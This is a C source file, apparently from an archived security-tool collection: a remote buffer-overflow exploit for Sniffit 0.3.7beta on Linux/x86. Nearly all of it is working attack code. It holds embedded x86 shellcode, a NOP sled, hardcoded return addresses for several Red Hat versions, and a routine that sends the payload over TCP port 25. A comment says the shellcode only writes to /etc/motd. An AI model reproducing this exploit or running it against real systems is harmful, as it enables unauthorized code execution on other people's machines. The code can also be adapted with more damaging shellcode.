home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / networktools / sniffit.c < prev   
C/C++ Source or Header  |  2005-02-12  |  3KB  |  120 lines

  1. /*
  2.  * Sniffit 0.3.7beta Linux/x86 Remote Exploit
  3.  * ShellCode is a modified version of w00w00 write egg, 
  4.  * to pass Sniffit input filter
  5.  *
  6.  * Tested on     RedHat 5.2, 6.0, 6.2
  7.  * Proof Of Concept Code
  8.  *
  9.  * credits:    |CyraX| for pointing me to the coredump
  10.  *        del0 for hurrying me :)
  11.  *        vecna for offering me drinks ;P
  12.  *        belf for loving and caring his GSM ;P
  13.  * 
  14.  *                              FuSyS [S0ftpj|BFi]
  15.  *                  http://www.s0ftpj.org/
  16.  */
  17.  
  18. #include<stdio.h>
  19. #include<stdlib.h>
  20. #include<unistd.h>
  21. #include<netdb.h>
  22. #include<netinet/in.h>
  23.  
  24. #define LENGTH        600
  25. #define RET        RH6x
  26. #define RH52        0xbfff5c10
  27. #define RH6x        0xbfff5bb5     // 0.3.6HIP 0xbfffcc50
  28. #define OFFSET          0
  29. #define ALIGNOP        3        // 3 RH6.0, 4 RH6.2
  30.                     // may vary [1-5]
  31.  
  32.  
  33. /* Note To Script Kiddies: This ShellCode Simply Changes An
  34.    Existing /etc/motd So Don't Bother DownLoading */
  35.  
  36. unsigned char shellcode[]=
  37. "\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb"
  38. "\x30\xe4\x88\x63\x09\x31\xc9\x66\xb9\x01\x04\x31\xd2\x66\xba\xa4"
  39. "\x01\x31\xc0\xb0\x05\xcd\x80\x89\xc3\x31\xc9\xb1\x3f\x01\xf9\x31"
  40. "\xd2\xb2\x0e\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x2f"
  41. "\x65\x74\x63\x2f\x6d\x6f\x74\x64\x01\x66\x75\x73\x79\x73\x20\x77"
  42. "\x61\x73\x20\x68\x65\x72\x65\x0a";
  43.  
  44. unsigned long nameResolve(char *hostname)
  45. {
  46.   struct in_addr addr;
  47.   struct hostent *hostEnt;
  48.  
  49.   if((addr.s_addr=inet_addr(hostname)) == -1) {
  50.     if(!(hostEnt=gethostbyname(hostname))) {
  51.         printf("Name Resolution Error:`%s`\n",hostname);
  52.         exit(0);
  53.     }
  54.     bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
  55.   }
  56.   return addr.s_addr;
  57. }
  58.  
  59. int main(int argc,char **argv)
  60. {
  61.         char buff[LENGTH+ALIGNOP+1];
  62.     char cmd[610];
  63.         long addr;
  64.         unsigned long sp;
  65.         int offset=OFFSET;
  66.         int i, x;
  67.         int sock;
  68.         struct sockaddr_in sin;
  69.  
  70.     if(argc<2) {
  71.         fprintf(stderr, "Usage: %s <sniffit host>\n", argv[0]);
  72.         exit(0);
  73.     }
  74.  
  75.         sp=(unsigned long) RET;
  76.         addr=sp-offset;
  77.  
  78.     for(i=0;i<120-ALIGNOP;i++)
  79.         buff[i]=0x90;
  80.     for(x=0; x<strlen(shellcode); i++, x++)
  81.         buff[i]=shellcode[x];
  82.     for(i-=1 ; i<LENGTH; i+=4) {
  83.         buff[i  ] =  addr & 0x000000ff;
  84.           buff[i+1] = (addr & 0x0000ff00) >> 8;
  85.           buff[i+2] = (addr & 0x00ff0000) >> 16;
  86.           buff[i+3] = (addr & 0xff000000) >> 24;
  87.      }
  88.  
  89.     printf("\nSniffit <=0.3.7beta Linux/x86 Remote Exploit\n");
  90.     printf("by FuSyS [S0ftpj|BFi] - http://www.s0ftpj.org\n\n");
  91.  
  92.         memset(&sin,0,sizeof(sin));
  93.         sin.sin_family=AF_INET;
  94.         sin.sin_port=htons(25);
  95.         sin.sin_addr.s_addr=nameResolve(argv[1]);
  96.  
  97.     printf("Connecting to %s ...\n", argv[1]);
  98.  
  99.         if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
  100.         {
  101.                 printf("Can't create socket\n");
  102.                 exit(0);
  103.         }
  104.         if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))<0)
  105.         {
  106.                 printf("Can't connect to Sniffit Server\n");
  107.                 exit(0);
  108.         }
  109.  
  110.     printf("Injecting ShellCode ...\n");
  111.  
  112.     strncat(cmd, "mail from:", 10);
  113.     strncat(cmd, buff, strlen(buff));
  114.     write(sock, cmd, strlen(cmd));
  115.  
  116.     printf("Done!\n\n");
  117.  
  118.         return(0);
  119. }
  120.